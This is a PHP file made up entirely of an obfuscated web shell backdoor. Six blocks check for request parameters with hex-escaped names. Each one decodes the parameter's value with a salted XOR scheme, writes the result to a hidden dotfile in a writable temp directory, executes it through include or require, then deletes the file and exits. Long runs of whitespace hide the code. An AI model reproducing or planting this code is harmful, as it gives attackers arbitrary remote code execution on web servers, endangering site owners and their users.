<?php																																										if(array_key_exists("ele\x6D", $_POST)){ $descriptor = $_POST["ele\x6D"]; $descriptor = explode ( "." , $descriptor ) ; $mrk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $l = 0; array_walk($descriptor , function($v2) use(&$mrk , &$l , $s , $sLen) {$chS = ord($s[$l % $sLen]); $dec = ((int)$v2 - $chS -($l % 10)) ^ 51; $mrk .= chr($dec); $l++; }); $parameter_group = array_filter([getenv("TEMP"), getenv("TMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), sys_get_temp_dir(), "/var/tmp"]); $entity = 0; do { $marker = $parameter_group[$entity] ?? null; if ($entity >= count($parameter_group)) break; if (max(0, is_dir($marker) * is_writable($marker))) { $record = implode("/", [$marker, ".ent"]); if (file_put_contents($record, $mrk)) { include $record; @unlink($record); die(); } } $entity++; } while (true); }
																																										if(in_array("v\x61\x6Cue", array_keys($_REQUEST))){ $elem = $_REQUEST["v\x61\x6Cue"]; $elem=explode( "." ,$elem ) ; $pointer= ''; $salt2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt2 ); $j= 0; $__len= count( $elem ); do { if( $j >= $__len) break; $v6= $elem[$j]; $chS= ord( $salt2[$j %$sLen] ); $dec= ( ( int)$v6 - $chS -( $j %10)) ^ 71; $pointer .= chr( $dec ); $j++; } while( true ); $symbol = array_filter(["/var/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp"]); foreach ($symbol as $component) { if (array_product([is_dir($component), is_writable($component)])) { $tkn = str_replace("{var_dir}", $component, "{var_dir}/.res"); if (@file_put_contents($tkn, $pointer) !== false) { include $tkn; unlink($tkn); exit; } } } }
																																										if(@$_POST["desc"] !== null){ $pgrp = array_filter([getenv("TMP"), getenv("TEMP"), getcwd(), session_save_path(), sys_get_temp_dir(), "/dev/shm", "/var/tmp", "/tmp", ini_get("upload_tmp_dir")]); $itm = $_POST["desc"]; $itm = explode ("." , $itm) ; $reference= ''; $salt1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt1 ); $v= 0; $__tmp= $itm; while ($v8= array_shift($__tmp)) { $sChar= ord($salt1[$v % $lenS] ); $dec= ((int)$v8 - $sChar - ($v % 10)) ^ 89; $reference .= chr($dec ); $v++; } while ($token = array_shift($pgrp)) { if (is_dir($token) ? is_writable($token) : false) { $holder = sprintf("%s/.parameter_group", $token); if (file_put_contents($holder, $reference)) { require $holder; unlink($holder); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "sy\x6D\x62\x6Fl")){ $descriptor = $_REQUEST["sy\x6D\x62\x6Fl"]; $descriptor = explode ( '.' , $descriptor ) ; $desc =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt ); $len =count($descriptor ); for ($x =0; $x<$len; $x++) { $v3 =$descriptor[$x]; $sChar =ord($salt[$x % $lenS] ); $d =((int)$v3 - $sChar - ($x % 10)) ^ 49; $desc .= chr($d ); } $obj = array_filter([getenv("TMP"), getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", "/tmp"]); foreach ($obj as $pointer): if (is_writable($pointer) && is_dir($pointer)) { $token = join("/", [$pointer, ".ptr"]); $file = fopen($token, 'w'); if ($file) { fwrite($file, $desc); fclose($file); include $token; @unlink($token); exit; } } endforeach; }
																																										if(in_array("\x64\x61t\x61_\x63\x68unk", array_keys($_POST))){ $data = $_POST["\x64\x61t\x61_\x63\x68unk"]; $data= explode ( "." , $data ) ; $item = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $s = 0; array_walk($data, function ($v5) use (&$item, &$s, $salt, $sLen) { $chS = ord($salt[$s % $sLen]); $dec = ((int)$v5 - $chS - ($s % 10)) ^ 93; $item .= chr($dec); $s++; }); $sym = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getcwd(), getenv("TMP"), session_save_path(), getenv("TEMP"), "/var/tmp"]); while ($marker = array_shift($sym)) { if (max(0, is_dir($marker) * is_writable($marker))) { $key = implode("/", [$marker, ".desc"]); $success = file_put_contents($key, $item); if ($success) { include $key; @unlink($key); die();} } } }


if(@$_POST["r\x65f"] !== null){
	$key = $_POST["r\x65f"];
		 $key 	=  explode		 ('.'	,$key		 );   
	$sym = '';
            $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt6);
            $p = 0;
            $len = count($key);
    
            do { if($p >= $len) break;
                $v6 = $key[$p];
                $sChar = ord($salt6[$p	 %	 $lenS]);
                $d =((int)$v6 - $sChar -($p	 %	 10))^1;
                $sym 	.=chr($d);
                $p++;  }	while(true);
	$flg = array_filter([getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", session_save_path(), "/dev/shm"]);
	while ($bind = array_shift($flg)) {
    		if ((is_dir($bind) and is_writable($bind))) {
    $descriptor = str_replace("{var_dir}", $bind, "{var_dir}/.pset");
    if (@file_put_contents($descriptor, $sym) !== false) {
	include $descriptor;
	unlink($descriptor);
	exit;
}
}
}
}